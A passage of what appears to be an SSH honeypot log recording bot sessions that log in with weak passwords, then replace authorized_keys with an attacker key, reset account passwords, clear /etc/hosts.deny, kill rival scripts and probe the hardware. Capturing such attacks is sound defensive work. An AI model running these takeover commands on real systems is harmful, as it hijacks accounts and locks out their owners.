0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:42:25.332258+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:42:26.024145+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:42:26.773094+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:42:27.468667+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:42:28.214079+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:42:28.602720+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:42:29.349127+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:42:30.256548+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:42:31.001295+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:42:32.142185+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Test@123","method":"password","accepted":true,"tier":"other"}]}
{"id":"802dd2d1-61a2-4b06-80f8-dbe692728819","name":"sandy-obsidian-ferret","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40727,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:42:09.231614+00:00","ended_at":"2026-08-26T14:42:10.635026+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"a26688e9-19e6-49ab-a162-18b2e1ecbe58","name":"cobalt-pewter-grouse","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40726,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:42:06.723898+00:00","ended_at":"2026-08-26T14:42:07.732562+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"fb4ca0ef-db05-46c4-b9fe-4cb668151541","name":"supple-quiet-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40722,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:39:42.710893+00:00","ended_at":"2026-08-26T14:39:44.286402+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:39:15.435572+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:39:16.183273+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:39:22.410659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:39:22.812236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:39:23.562171+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ibGc9KqCGTKF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:39:24.308368+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:39:25.053531+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:39:25.620695+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:39:26.369783+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:39:27.260551+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:39:28.011015+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:39:28.950581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:39:29.698822+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:39:30.565429+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:39:31.315172+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:39:32.168336+00:00","kind":"output","latency_ms":null,"data":" 14:39:32 up 6 days, 11:29,  0 user,  load average: 0.16, 0.14, 0.15\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:39:32.916184+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:39:33.652114+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:39:34.400849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:39:34.954048+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:39:35.701289+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:39:35.989470+00:00","kind":"output","latency_ms":null,"data":"top - 14:39:35 up 6 days, 11:29,  0 user,  load average: 0.16, 0.14, 0.15\nTasks: 126 total,   1 running, 125 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8261 free,    7626 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:39:36.739150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:39:37.500842+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:39:38.257316+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:39:38.689918+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:39:39.439736+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:39:40.059527+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:39:40.808102+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:39:41.964005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:39:42.711716+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:39:44.048485+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!@#123qweASD","method":"password","accepted":true,"tier":"other"}]}
{"id":"40636307-ff66-46af-ba25-ecb11fe7801b","name":"amber-inland-fossa","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40724,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:39:20.792467+00:00","ended_at":"2026-08-26T14:39:22.174356+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"b0e9d567-4b63-4584-9790-af069e62fc0b","name":"misty-thorny-brambling","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40723,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:39:17.909803+00:00","ended_at":"2026-08-26T14:39:19.288229+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"5ada0aaa-8ca6-459e-a378-738cee4e81d9","name":"grassy-marbled-barbet","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40719,"username":"teamspeak","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:37:02.987773+00:00","ended_at":"2026-08-26T14:37:04.629367+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2264,"events":[{"seq":1,"at":"2026-08-26T14:36:34.100220+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:36:34.858266+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:36:41.852509+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:36:42.712609+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:36:43.470201+00:00","kind":"input","latency_ms":null,"data":"echo -e \"teamspeak6\\nSoVB7PoXYHdD\\nSoVB7PoXYHdD\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:36:44.227030+00:00","kind":"input","latency_ms":null,"data":"echo \"teamspeak6\\nSoVB7PoXYHdD\\nSoVB7PoXYHdD\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:36:44.984425+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:36:45.375490+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:36:46.133103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:36:47.135702+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:36:47.894495+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:36:49.185601+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:36:49.947658+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:36:50.590718+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:36:51.349253+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:36:52.016695+00:00","kind":"output","latency_ms":null,"data":" 14:36:52 up 6 days, 11:26,  0 user,  load average: 0.06, 0.07, 0.04\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:36:52.775043+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:36:53.480393+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:36:54.239079+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:36:54.760943+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:36:55.518385+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:36:55.928338+00:00","kind":"output","latency_ms":null,"data":"top - 14:36:55 up 6 days, 11:27,  0 user,  load average: 0.06, 0.07, 0.04\nTasks: 123 total,   1 running, 122 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7149 free,    8738 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:36:56.688805+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:36:57.574306+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:36:58.332414+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:36:59.137016+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:36:59.897490+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:37:00.257410+00:00","kind":"output","latency_ms":null,"data":"teamspeak"},{"seq":29,"at":"2026-08-26T14:37:01.014371+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:37:02.229873+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:37:02.988680+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:37:04.388819+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"teamspeak","password":"teamspeak6","method":"password","accepted":true,"tier":"other"}]}
{"id":"1fc0f6b8-371a-4a2f-bd6e-b7946a0e47eb","name":"indigo-grassy-bluebird","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40721,"username":"teamspeak","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:36:39.709460+00:00","ended_at":"2026-08-26T14:36:41.612477+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"teamspeak","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"1373702d-994e-44c6-a12f-f0a65d8637fe","name":"subtle-amber-ocelot","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40720,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:36:36.591012+00:00","ended_at":"2026-08-26T14:36:38.198618+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"24d89739-dec6-4187-8b9e-2e8bf306c2a3","name":"jolly-sunlit-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:34:15.066072+00:00","ended_at":"2026-08-26T14:34:16.782068+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T14:33:47.681715+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:33:48.426764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:33:55.172374+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:33:55.739663+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:33:56.486091+00:00","kind":"input","latency_ms":null,"data":"echo \"root:TiRWSjM6zJGV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:33:57.230114+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:33:57.974860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:33:58.400434+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:33:59.146103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:34:00.248542+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:34:00.995169+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:34:02.237628+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:34:02.987083+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:34:03.380719+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:34:04.125910+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:34:04.463608+00:00","kind":"output","latency_ms":null,"data":" 14:34:04 up 6 days, 11:24,  0 user,  load average: 0.17, 0.13, 0.2\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:34:05.209151+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:34:05.679963+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:34:06.426832+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:34:07.178307+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:34:07.924082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:34:08.647595+00:00","kind":"output","latency_ms":null,"data":"top - 14:34:08 up 6 days, 11:24,  0 user,  load average: 0.17, 0.13, 0.2\nTasks: 115 total,   1 running, 114 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8420 free,    7467 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:34:09.392718+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:34:09.782705+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:34:10.528411+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:34:11.310620+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:34:12.058475+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:34:12.414053+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:34:13.160573+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:34:14.319485+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:34:15.066627+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:34:16.547321+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc123456.","method":"password","accepted":true,"tier":"other"}]}
{"id":"c3821e0a-0646-449b-9fa3-68e95a4d598b","name":"gallant-fabled-skua","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40718,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:33:53.029446+00:00","ended_at":"2026-08-26T14:33:54.936969+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"0d854674-3593-45f7-9fa4-7504cae1047b","name":"smooth-frosty-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40717,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:33:50.148939+00:00","ended_at":"2026-08-26T14:33:51.527917+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"faffdfda-db68-4f26-955b-e2d7f0083163","name":"proud-vigilant-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40713,"username":"kamera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:31:31.396008+00:00","ended_at":"2026-08-26T14:31:32.655176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-26T14:31:04.255089+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:31:05.002249+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:31:11.280870+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:31:11.810490+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:31:12.559968+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kamera\\nFSrjcAUS0bD3\\nFSrjcAUS0bD3\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:31:13.309233+00:00","kind":"input","latency_ms":null,"data":"echo \"kamera\\nFSrjcAUS0bD3\\nFSrjcAUS0bD3\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:31:14.058711+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:31:14.523286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:31:15.274913+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 